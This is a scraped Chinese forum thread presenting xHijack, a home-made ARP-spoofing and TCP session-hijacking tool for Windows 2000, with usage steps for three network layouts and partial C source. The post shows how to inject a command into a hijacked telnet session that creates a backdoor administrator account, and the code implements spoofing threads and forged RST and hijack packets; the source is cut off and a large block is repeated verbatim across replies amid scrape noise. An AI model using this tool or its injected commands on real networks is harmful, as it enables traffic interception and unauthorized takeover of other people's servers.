QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4325|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
) r( o" q! W; M2 W& E9 wHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 9 L/ H2 t- x! a( `
第二步是ARP欺骗,具体原理我就不说了。
5 L  |) F( w, i, x  r& Q8 H3 ]第三步就是开始劫持啦。
% k' c4 m! V$ u9 P+ \) H# `- {
- A. Z" ^& m4 C4 }" @我写了个程序xHijack可以实现第二、三步功能,使用如下:
, ^4 z2 g9 g' h; B
, C$ C' T# k, o, v9 u# O7 Z  XUsage: xHijack ServerSide ClientSide ' I4 V% Y& b7 ^+ p

: A# N2 e7 P* R  a0 w下面根据三种不同的情况分别说明如何输入参数:
7 H% ~2 w2 N4 O8 w<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 7 n" n* k0 X) J8 L) B8 ^. z; [
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 " m/ m. S5 r: Q" c
c:\>xHijack 192.168.0.2 192.168.0.3
: a7 B# u" g; Z  s3 O, z  v; ~劫持前数据流程:server <--> client
/ d7 j% {: W  y劫持后数据流程:server <--> hijacker <--> client
% g! c/ d# \$ F8 z2 A8 S1 i
$ W) ?' V0 m7 E5 \/ p9 b<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
, s3 Y4 p- W6 p7 ^% f8 P假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 ; E$ B* G1 ]; f; E. ?
xHijack 202.202.202.2 202.202.202.1 ; j* {4 c2 L# N) @
劫持前数据流程:server <--> gw <--> routes <--> client
( i0 [/ l1 |, ^" x5 C" U劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client : u! W( h9 Z& k2 d- z7 L

2 H& B5 @2 O% F8 L0 J* ^. b<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 2 e8 E5 ]* v$ P$ A4 ?9 C! m0 G7 J
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
/ L/ Y# N; I% XxHijack 192.168.0.1 192.168.0.2   L; ~' u2 l1 o4 |
劫持前数据流程:client <--> gw <--> routes <--> server ; c! M: w6 I+ a) u
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
7 A) W# `: ?* Q. @
5 A; y5 ?  O) q  v+ L+ @输入两个参数后,会提示你选择网卡,然后会提示
5 a: f# ^/ d) Cl        <-- List all connections
  }6 P! ]' n  Lr x       <-- Reset the number x connection ' ]; M& e& K- J
w x       <-- Watch the number x connection
9 K- h+ W- M4 G: H+ {h x command   <-- Hijack the number x connection to execute command % B* v( y/ ~; f4 l8 i

, Q8 r( m8 P1 @4 j) Nlist、reset、watch命令我就不解释了。 ! w# j! @, s( U
假如现在有如下连接 ( \# Y) ^5 |: ?3 C% ?# y
(1) 202.202.202.202:23 <--> 192.168.0.3:2345 8 S2 |% x; g6 s) Q4 O7 ~$ n
我们想要劫持这个连接运行我们的命令,输入
9 r, J. Q; G. @xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
# ]9 R9 `  U+ }. ?& Z9 z) X9 r" I6 V为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 6 e5 q' G+ o6 e4 u( j
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
, z% h* H: D# C都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
4 t9 X3 ~. Y. {" ~9 I0 ~/ [0 }% |5 G8 U/ F# d( B
劫持的流程如下: ( d/ @: |3 ]* q$ q9 C
<1>伪装成Server给Client发一个rst包 / e+ T! H" {; M# u+ f0 p  R5 t0 X' L
<2>伪装成Client给Server发了一个数据包
# J8 W! U1 U/ z+ p8 ]<3>Server回一个ACK包给client ' t5 V. O4 Z+ c) F; j1 \" p
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server ' r0 |; r4 m) I0 Y! ~" a

4 I1 a4 a* V' V- K0 d: n这样的话,我们只能发一个伪造的包,但我想已经足够了。 % m. g1 ^/ m' B4 I4 b7 T* \+ E
想要一直劫持那个连接也可以,如下 9 V* B) Y$ d- Z6 {- C
<1>伪装成Server给Client发一个rst包
: i+ ]$ Z  A2 }3 S5 K5 B) i8 u<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA 6 K3 `8 M- Z+ a- O6 l9 m+ ]
<3>伪装成Client给Server发了一个数据包
# v; V/ S4 z- b6 ?' z# T* |; O; z<4>Server回一个ACK包给client
/ K8 A" X1 b7 ?0 g$ t) A& y  \<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 6 j) {/ @$ G( o+ f0 ^: e3 v
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 4 E7 H6 }2 M" D8 P0 {

& s- ^( t7 k9 `. d; s不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
3 S9 I; J( A6 g. R
# u  V; ~+ \, R  V! F) Z, B* R3 \& z- w: h/ T+ T: o
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
6 d! J: D# h+ b# E8 C/ {/ F还请各位多多指点。
2 _' U8 r- p& ]  r% `# [% i% l  J  D8 s
BTW:我没有空间,编译好的程序没地方放:(
! f4 @8 f: K9 q& z/ b5 F7 k  \+ T' Z6 x+ s; B) P
5 U5 S9 M- g1 f5 N1 H. N1 X1 Q
5 a/ Q, S% Q1 x8 T1 ^5 P5 i
参考资料
& C2 @. Z1 D( S1 q7 y8 {8 f1 G; G( I<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
9 S( l/ x5 w+ s/ ]  h' R% F<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 : L# `2 v  s* k6 s; H
' i- t7 b6 R$ g  o
! I' M( M' ~* m7 ]2 s
以下是程序代码 8 Q' v& h- A% Y1 ^2 n! e$ n- S; h# h
---------------------------------------------------------------------- ) b. P: t+ P; M4 x- ?( I
/*-----------------------------------------------------------------------------
; `  i* ]4 t6 |# }% u) EFile      : xHijack.c
/ D$ L) b* X6 H0 uVersion      : 1.0 ) P4 |% D# R- C! W; l
Create at    : 2002/8/12
  K! y. L2 ~4 T1 o9 Y7 fLast modifed at  : 2002/8/19 3 I3 H8 l! \* ^# `
Author      : eyas 3 h5 i  k1 c7 F3 ^% @7 a% Q) _( U
Email      : ey4s@21cn.com . ~/ s$ |: B- i9 [) o3 f1 Y1 L
HomePage    : www.ey4s.org # B  N- L; J1 }4 Z
感谢refdom和shotgun发布的源代码,使我获益非浅。
0 q4 c0 p) Q) D, ?# qIf you modify the code, or add more functions, please email me a copy.
4 S6 s7 g/ z( s4 x+ v9 z9 d8 a8 X  z! r6 u/ f& d1 `) r
备注:
" c+ B1 n0 q. ?  ~" a<>没有考虑IP头、TCP头超过20字节的情况
( `' E" L8 y' X% T<>没有考虑数据包分片的情况 + F/ V! T& f" k% g
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
& Q# C% f9 v4 H; Z# k& ~  [  O显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 + C+ i& G$ D5 @  ?9 q
题了。
! g: F9 Y6 b0 G% V: O9 I% Q& ]1 Z1 _3 o8 r+ m7 j) E; F
也许下一版本会修正这些问题,也许不会有下一版本了。
$ \7 b% H8 ^* W6 ]3 v6 a0 p
! H! s2 v3 R4 A/ D7 _-----------------------------------------------------------------------------*/
, |5 Z- v9 `5 m8 z2 b0 h) c#include
2 P+ W4 d2 z+ I#include
% i" w0 {; W1 u0 o5 w: S0 j2 h#include
6 `) ?' x, N# b#include
: P0 S: j0 I2 K- B. L" j#include % r9 Z; ?& \: s$ q6 I/ g
#include
7 ^- m' D/ X& m, Y8 B( V5 z#include 7 i# J6 d4 [# F

' a! m& Z* D% R! Q. i8 N) g9 q( n/ a#pragma comment (lib, "packet")
: w3 K9 y3 p( k" H#pragma comment (lib, "iphlpapi")
% W) [$ N' l/ g+ D#pragma comment (lib, "ws2_32")
4 `" D6 B4 |3 e2 r* G6 B/ [
3 n0 ^: h7 q" F% s#define Max_Num_Adapter 10 - W4 r2 \$ z! f9 x
#define Max_Num_IPAddr  5 + b! P' r4 D+ W' z+ X
#define EPT_IP      0x0800      /* type: IP  */ # R1 d* P% k2 Z0 ?7 T% {: f$ D
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ , [( }. Y9 y( G4 _. A3 w
#define EPT_ARP      0x0806      /* type: ARP */ 8 I* F$ ^6 X, ~0 w% U: P" J
" c4 O- E1 V7 h6 h
#define  ACTION_NONE    0
2 l$ E3 |4 `" W2 r5 R" `#define  ACTION_WATCH  1
6 \$ k" R( e# p0 R* i1 E$ u#define  ACTION_RESET  2 9 N& n9 M& N6 o& b: w' p
#define ACTION_HIJACK  3
/ f) i) f7 z& ]2 L- w" x8 p7 k
& u7 S) [/ v; G  [- n: ?/*以1字节对齐*/
8 g  D8 Y( |# G/ a, {: L  [4 C+ G#pragma pack(1) & W, A* \5 h6 V) ~- P* A$ y9 M) l
typedef struct _ehhdr , w3 ^4 M* L) H0 M! X
{
/ M+ q% v4 l! H) F  unsigned char  DestMAC[6];
# c5 ]; D- h8 L& D' s5 y9 `  unsigned char  SourceMAC[6];
$ _7 ]; W: u3 j4 Y' c  unsigned short  EthernetType; 2 ~6 }* S0 O( b: O6 p# ~$ I6 Q" i
}EHHDR, *PEHHDR; , V& P: T0 S6 P: c/ M- R
- f% U. B# @) d8 @' O
typedef struct _iphdr        //定义IP首部
# I+ Y" `/ Z) X{
# l$ }+ R; m# w1 C6 E  p/ Y$ |, ~  unsigned char h_verlen;      //4位首部长度,4位IP版本号
5 D. p. d: W5 p5 F9 C+ L. y8 V5 H  unsigned char tos;        //8位服务类型TOS
! ~' w8 v) n8 E/ ^9 w; Z1 g4 |0 G  unsigned short total_len;    //16位总长度(字节)
4 i1 x2 P8 ~9 @3 ^2 V' D  unsigned short ident;      //16位标识 2 J+ ?2 g. A0 G
  unsigned short frag_and_flags;  //3位标志位
9 _6 L$ j& i0 v  unsigned char ttl;        //8位生存时间 TTL 3 M0 y  w# ]$ R+ p
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) 6 G5 v$ h" @+ h
  unsigned short checksum;    //16位IP首部校验和 ) s' z8 H3 h4 _0 @+ ^9 I
  unsigned int sourceIP;      //32位源IP地址
- x/ T: u7 ?2 T: m# ~$ `/ v( x! V  unsigned int destIP;      //32位目的IP地址   w5 T9 y/ E" k9 [
}IPHDR, *PIPHDR;
2 b4 @' ]* h! p' l! L- G* T4 j: o8 r* ^2 r
typedef struct _tcphdr        //定义TCP首部 & t* {: n! c( Z$ V! f
{
6 }. f+ X( Y8 r8 F9 v0 v. K  USHORT th_sport;        //16位源端口
3 I" \& f6 ^0 y. E5 C& @% @  USHORT th_dport;        //16位目的端口 $ f1 E* D) o7 L( D3 M
  unsigned int th_seq;      //32位序列号
' `0 _! j6 c0 ], C  unsigned int th_ack;      //32位确认号 " [' e) j# k0 X% T3 M9 x
  unsigned char th_lenres;    //4位首部长度/6位保留字 # Y8 _; ~* k3 \( m
  unsigned char th_flag;      //6位标志位
5 f0 Q+ g. {, X( ~1 ?3 b, k1 H( s- g  USHORT th_win;          //16位窗口大小
( L5 w/ V) E: ?7 n  USHORT th_sum;          //16位校验和
" O9 o, L6 h0 _9 Y$ }3 O8 T4 ?  USHORT th_urp;          //16位紧急数据偏移量 ( Y$ h8 {* g! t( X/ c% N
}TCPHDR, *PTCPHDR; # m9 E% I9 R0 p& `3 g1 ]; v

: ]: x6 k) T. B, |: g5 etypedef struct _psdhdr        //定义TCP pseudo header 4 M) Q- C4 H9 d  z
{               
" g, k) f& h4 w  w6 `  unsigned long saddr; 0 u* {* j6 }& r5 Z7 J
  unsigned long daddr;
8 e) N0 u- q5 K/ ^9 v" V% a  char mbz;
" H% K# u3 n2 i+ W  h! E+ u  char ptcl; . E5 ~# W8 w% j
  unsigned short tcpl; % Y# w) B  ~1 G3 }* k
}PSDHDR, *PPSDHDR;
& z8 d! `6 T" _1 \- g2 J
# z( P3 `+ B# c9 k9 z% Z9 ^, V' ltypedef struct _arphdr
5 ]# R* Y3 Z: g) Q  A7 V$ ^{
/ M; R1 Z% Q. q# Y  unsigned short  HrdType;//硬件类型
( y  I9 h/ c5 _/ L  unsigned short  ProType;//协议类型
  m+ z6 v2 X+ a' t3 X/ d  G  unsigned char  HrdAddrlen;//硬件地址长度
5 g+ K& U" L# |+ b) O) s  unsigned char  ProAddrLen;//协议地址长度
$ S1 A% ~- H8 S8 Y/ J  unsigned short  op;//operation
* i7 U' z& O# b) g9 |. O  unsigned char  SourceMAC[6];/* sender hardware address */ , E2 B3 J2 W$ o# N7 @
  unsigned long  SourceIP;/* sender protocol address */
1 z0 M3 Z; E$ f+ j+ v, F  unsigned char  DestMAC[6];/* target hardware address */ ; o, ^/ O7 t1 m- v9 H3 w* K
  unsigned long  DestIP;/* target protocol address */ ; ]8 @8 P1 }$ O% Y
}ARPHDR, *PARPHDR; , A7 M4 E, B" i' k% y

# g, I+ P- o" |# I$ ytypedef struct _ArpPacket
  L$ P0 K) x* F/ N9 A& D9 ^{
7 F5 T% i  ]$ _0 @# w: y  EHHDR  ehhdr;
  k# T# q1 Q( b$ a) ]  ARPHDR  arphdr;
! g& ]7 @; g6 j}ARPPACKET, *PARPPACKET; , F9 c; ?, ]6 M; c
" E* s9 R3 X( H* k3 D
typedef struct _tcppacket
& [. {& e1 C/ H: T" k& o5 \{
  q1 s/ d" }7 C( }9 j4 R; p  EHHDR  ehhdr; : L% E3 c! G9 N6 w5 P
  IPHDR  iphdr;
# H: V- ]' l0 E2 J9 n/ z$ Q1 j0 o+ n  TCPHDR  tcphdr;
2 U2 {1 `0 q# ~/ }}TCPPACKET, *PTCPPACKET;
; q/ C8 ^; T5 p) h$ e( Z5 ^3 l- l) A1 o- A- l- Z/ L! s
typedef struct _conninfo + u1 ~9 i& z7 Y  n) c) U
{ $ M$ d7 e1 N2 d% v
  DWORD  dwServerIP; 1 [# C; l* l! i2 j  {; W+ g) X
  USHORT  uServerPort;
( }: r/ p- A0 E% w  DWORD  dwClientIP;
. O; s$ ]+ q% z+ }  USHORT  uClientPort;
% @4 w/ W  r6 i, F  t  DWORD  ident;//标识 - ^7 b+ r& k+ @  k
  BOOL  bActive;
$ K3 o' s/ X0 L% O" @2 H* G3 ]. O+ c  struct  _conninfo  *Next;
) F- ~& V3 B+ U5 F. [6 T& ]}CONNINFO, *PCONNINFO; 9 ]$ ?/ I5 E- e6 T4 U- k$ Z; s

  L  e) [/ R+ q7 [- d//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 6 Y7 {3 R( ]# |4 M& C8 o# I0 T
        g_ClientSideIP,
( j3 B  n: {2 s: V7 ]        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
! K. O$ C7 s5 w        g_TotalIP = 0;// ) C- G1 j# f8 o4 ^! C/ m
unsigned char  g_szOwnMAC[6];//本机MAC地址 + {* L  Q3 i/ @$ B* ^
unsigned char  g_szClientSideMAC[6];
- r: I; D9 V' H4 ]9 l, Yunsigned char  g_szServerSideMAC[6]; ) f" {. S! e7 M8 C, F* U
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 . T! q' Y+ q- H  _
LPADAPTER    g_lpAdapter;
2 d+ F1 x. U4 ?//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 2 p% m. E0 Y4 m% d
HANDLE      g_hThread[4]; 2 B: N8 `: o6 W: E" }2 z) }+ W" i* \% ?
char      g_szCommand[128];//command to execute after hijack
& u6 `# A# I5 p0 y2 dDWORD      g_dwAction;//action type
4 n! i4 g. M0 P$ r4 ]DWORD      g_dwCtrlConn;//action 所控制连接的标识
. g, a0 G* q6 z7 wDWORD      g_ident;//节点标识,递增 0 ^6 @# G4 g0 s2 z' O4 @& ~- P  ]$ j
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
$ z. L, Y; }9 d3 O9 s7 g: D        g_pConnHead = NULL,
+ q% V+ I. `7 D# k+ @, D, k        g_pConnLast = NULL;
7 C. a, P+ ]" }char      g_szSendPacketBuf[1514]; 8 v9 z; n% N$ K. J; x  x( f
LPPACKET    g_lpSendPacket;
5 J/ u8 t3 V- f1 c2 Y//函数
$ r# f) |" C  ]! _3 `: Kvoid      usage(void);   H0 D. u/ F/ h6 N
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
8 R/ O0 B! k6 S* e# Evoid      ListAllConnection();//列出当前所有的连接
, w7 i1 o4 K9 r  \void      ResetActionAllFlag(); : S/ L; ^% C) e7 o! `
USHORT      checksum(USHORT *, int); 2 z' {3 W# k. u- _
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 - n4 e5 B, R/ `
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 / d# V. W  c8 w3 V5 R
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
5 n6 n  D' ?+ t. K% uBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 5 G$ n& X4 |% C. u4 i
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
( a+ m+ R8 v5 ?+ E2 E' U8 m/ hDWORD      GetConnNum(char *, DWORD, DWORD *);
5 g, K! z! m5 i. i* ODWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 0 O+ F2 P! S5 \
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
' l4 e5 f( F- u& z+ ^, HDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 9 b& U9 ]' S  J# ?6 P8 L
DWORD  WINAPI  InterfaceThread(LPVOID);// - |6 J& @) P# e. ]
BOOL  WINAPI  CtrlEvent(DWORD); . q& v& r: A" |# u* \

7 R5 S) W, @$ U' ^. d6 C" Q( n+ H% x4 W4 b& _
% X: R  P8 I: m5 E; S/ \
int main(int argc, char **argv)
+ Q4 j! d0 K4 N9 Q" z, _{ 7 s7 U9 j& r% k
  struct    bpf_stat stat;
4 S% \( n; I: n, Z! i" e  int      i;
; O7 {: `  K* d$ Y$ J: Y2 u
; y. f( l+ g$ g% m( N; }  usage(); 4 ]2 v8 U5 w9 h1 q# Q3 B, k7 i' N
  if (argc != 3) return 0;
1 r/ u3 c* R3 ?5 d  //取得参数
( d' Y# W: f. ]/ U" L  g_ServerSideIP = inet_addr(argv[1]); $ Y: {: _0 X2 v4 M' i& u
  g_ClientSideIP = inet_addr(argv[2]);
/ ?0 ^8 }7 L9 Z/ Z/ P7 G6 s4 a  //初始化adapter & 一些全局变量 ) ^" e. d/ W4 l
  g_lpAdapter = InitAdapter(); . O" n2 b5 ?1 Q
  if(!g_lpAdapter) return 0; / r+ c" n6 t) Q. O. `$ _' r
  //get ServerSide MAC & ClientSide MAC & K/ Z2 M2 x% Q, @( I4 A
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
0 F6 }- {$ j9 w; P  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- x7 f1 m: m% W5 c* ?  //create arp spoof thread     6 I# R# d& |- l- U& z1 `
  i = 1; & R2 s8 ]! \) ^4 ^( |, p) b
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
* f5 r) z$ |' Y- K! i* A6 [- `! p  Sleep(500);
5 |8 g' l6 B8 r5 W  i = 2;
( h. k: n0 L+ U& R4 g  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); $ d) G. ^3 \1 O- j" q) w9 J, `# n
  //create analyse packet thread 9 P! s: J- A; U# d
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); . x7 k2 S% F' u8 b; W( _1 e, q
  //create interface thread
; N* z& \- y' I8 e. P8 I( H3 n  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 3 w# M* O& l" t8 v) H* _& r
  //set console ctrl handle
' p2 f1 |- ^1 p5 D, i" _; k! x- P  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
0 Q+ k8 Q$ F6 u+ Q$ l8 H8 o  {
- d& ^2 x6 Q- V# s6 \    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); # t3 ~8 _2 Z# E9 x: q5 U0 M
    return 0;
* \4 a' s, ~# w0 v$ c0 f0 {: h$ M4 f  }
2 _: G' W! q! C4 y6 H  //wait for any thread exit
7 Y' x+ f# z6 M! X& ]  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); + i, w( {1 U4 F+ t7 l! c3 q  O; G( l
  //print the capture statistics 6 Y% t5 K6 U! G, [/ l8 j& E, X
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 9 m9 o. W) U0 R6 [+ x- Z' y7 o
    printf("Warning: unable to get stats from the kernel!\n");
# a6 h" W7 X. K/ n. Z- X& w3 \  else ' K2 v- p9 G2 p4 C0 u, r
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 4 u+ S" T9 Z; V2 s' D7 y+ y$ o
  //free resource   - N; E1 ?! t. j
  PacketFreePacket(g_lpSendPacket);
4 b4 n: b; m7 l  PacketCloseAdapter(g_lpAdapter); ' ~) `5 V8 r" t3 {9 ?( {
  return 0;
0 b* Z) C3 ~% A7 M# T4 K7 S9 K} : F9 \' E+ i' \3 o, k

0 A' V7 _& [7 B  E; T9 D// + m$ g' b; h9 M+ |/ X& L" w% a# C' c
//功能:重置所有于ACTION有关的标志 , w5 J& |/ D! l- Q0 n! I5 a
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
" s$ w5 Q! S" u& e" L! q        g_ClientSideIP,
; ~( P! ~! Q3 d$ M- ]) M* l% U) g        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
8 B& [, n5 B' p4 j! b. ~        g_TotalIP = 0;//
" G& |7 e% ^7 s4 q% tunsigned char  g_szOwnMAC[6];//本机MAC地址 4 Z& J( K# w" C+ A3 u
unsigned char  g_szClientSideMAC[6];
; c: u( l9 @& w* l2 c# N( Hunsigned char  g_szServerSideMAC[6]; 1 H  c0 W9 c/ m, s1 P
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
7 Z1 O7 z) c1 y1 z: K- OLPADAPTER    g_lpAdapter;   {/ I! E! d% B" Y: h8 v
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
; C+ \2 t4 Z9 P  i  q  oHANDLE      g_hThread[4];
& |3 O$ S& X# lchar      g_szCommand[128];//command to execute after hijack
  C! @# G6 Z* M! bDWORD      g_dwAction;//action type ! I9 H" ]" S: K3 C
DWORD      g_dwCtrlConn;//action 所控制连接的标识
1 k( @& |( e6 B7 e0 t9 p$ SDWORD      g_ident;//节点标识,递增
1 Q  s+ p* j4 F0 |" ?! JPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 4 `+ D6 C6 C$ L
        g_pConnHead = NULL, . e0 V- Q  d5 R0 ~9 ]
        g_pConnLast = NULL; 8 P: c# |* V. _; t
char      g_szSendPacketBuf[1514]; 3 ^: ?9 I/ u  }7 A' H
LPPACKET    g_lpSendPacket;
) z7 T( Z: w( L+ y$ _! M//函数
  B% c% c5 O3 W: U. T7 Yvoid      usage(void);   w5 D. T1 f6 ~. {) Z0 {
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 4 q$ Y# V  R" r6 `
void      ListAllConnection();//列出当前所有的连接
. a1 d' \- P' I* B1 s! l: Nvoid      ResetActionAllFlag(); : J/ L& N1 _, e' G- ?! [
USHORT      checksum(USHORT *, int); 6 D, G, A7 b* d8 T5 F7 [' X$ d
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 ) k) ^% N  d/ k
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 5 l5 o% \& D) l: F' {  o" P. \
LPADAPTER    InitAdapter();//初始化一些参数和全局变量 # Z( N7 d. G/ T" b- u% b
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
' }) d% |  i+ EBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 - b" O; v' ~" z
DWORD      GetConnNum(char *, DWORD, DWORD *); 5 |; p- t4 D! U% h& o" v
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 1 X4 H# s# h+ l' o; @; e1 ?
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
* q% `1 k7 M1 c8 M* Q* a' BDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
2 C' w2 h* T5 mDWORD  WINAPI  InterfaceThread(LPVOID);//
- t8 Y; _* x1 I5 t" [  Z+ r6 V; pBOOL  WINAPI  CtrlEvent(DWORD); 2 [3 x; X# C+ f, A1 C2 |

; p9 ^+ X* ]( U6 @
' Q1 C' y1 K* R% f+ ^( n
) }; ]2 Y6 @5 I- F5 N8 l7 }$ Fint main(int argc, char **argv)
% {; S/ D& V! U# I9 \{ & p8 M; Z4 Y: f9 A" `, P7 c
  struct    bpf_stat stat; 5 K# u% t5 L/ [3 P1 c9 E0 k$ {
  int      i;
( [. `! `# B/ Z7 E, u1 B8 [
, {) H8 E. U8 o; H! q% o" U2 \  usage();
9 Y: J+ Y4 e2 I& x  if (argc != 3) return 0; 8 G8 _$ d& L  n% N3 {+ \, b
  //取得参数
7 k7 u' y& n& A( J1 w; f/ O# t( A  g_ServerSideIP = inet_addr(argv[1]);
- a5 s9 ]( q; m8 n" p  g_ClientSideIP = inet_addr(argv[2]);
/ M. C7 g+ S  a5 [% Z  //初始化adapter & 一些全局变量 4 o/ ~3 q) E! z1 i
  g_lpAdapter = InitAdapter(); ) }% w+ ^7 j8 u6 {5 M2 w
  if(!g_lpAdapter) return 0; ! R; |  u6 S) v, `
  //get ServerSide MAC & ClientSide MAC # c% ?* u2 f# t
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  x3 ?' ]" b" l# _4 C$ s3 M  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
; E, Z6 M' B7 \) ^0 L8 W  //create arp spoof thread     
; m9 w7 Y! J" `) i, _4 i  i = 1;
/ z, w7 [$ ~$ ]( c+ g  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ' R: w  |- u$ i4 n7 i8 Y& K: b
  Sleep(500);
% S" N/ y' H, s# K% f+ y1 Z) d+ n9 ^  i = 2;
; V; L- m7 ]. g9 ]1 H  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
0 Q6 O: J; Q3 d  //create analyse packet thread
5 b8 i4 x% k0 k3 e  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
, e* m2 t" J. I% I; u  //create interface thread
& V8 H4 l* W% G$ s+ o' _! n  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
: ^5 q% H. E# q3 c. n5 L9 W6 T  //set console ctrl handle 5 N; u% F# l. e/ B: f7 g
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 8 Z, ?) o3 q" E! o9 Z( `( G
  { # R% r$ X5 O; c, B& J
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); . E( n: @. y( p4 {5 s' }
    return 0; : }4 d, M  y$ M: g$ `" [2 s  y
  }
$ D1 u: l( S; z  //wait for any thread exit % \& w; Z$ l  ?
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
. q) c# R+ U4 _- Z  {  //print the capture statistics
+ {: R* \. a! S* m  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
1 ~/ r2 z/ Y4 H7 _* R1 @. Y    printf("Warning: unable to get stats from the kernel!\n");
/ R+ o7 M6 N/ C5 x. m: X7 i1 s1 V  else % N4 i% A0 `0 m* O3 j0 S& P; ^* |
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 5 ?' l' ^- i# J1 a4 p/ c3 I
  //free resource   
" A" T, w) w8 s- F$ k  PacketFreePacket(g_lpSendPacket); # n) B' @+ X1 {& f* ^+ m* u9 t
  PacketCloseAdapter(g_lpAdapter);
8 P; f  B. \" h% d" I6 F  return 0;
. d( ^) y5 m/ Y1 k' `} ' j  g7 _! `. `' O2 Y

- D8 k+ {. |, |1 @4 x) |// 2 e5 R; L4 f* d
//功能:重置所有于ACTION有关的标志
# T% i1 ^. h8 e1 O' z2 s//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

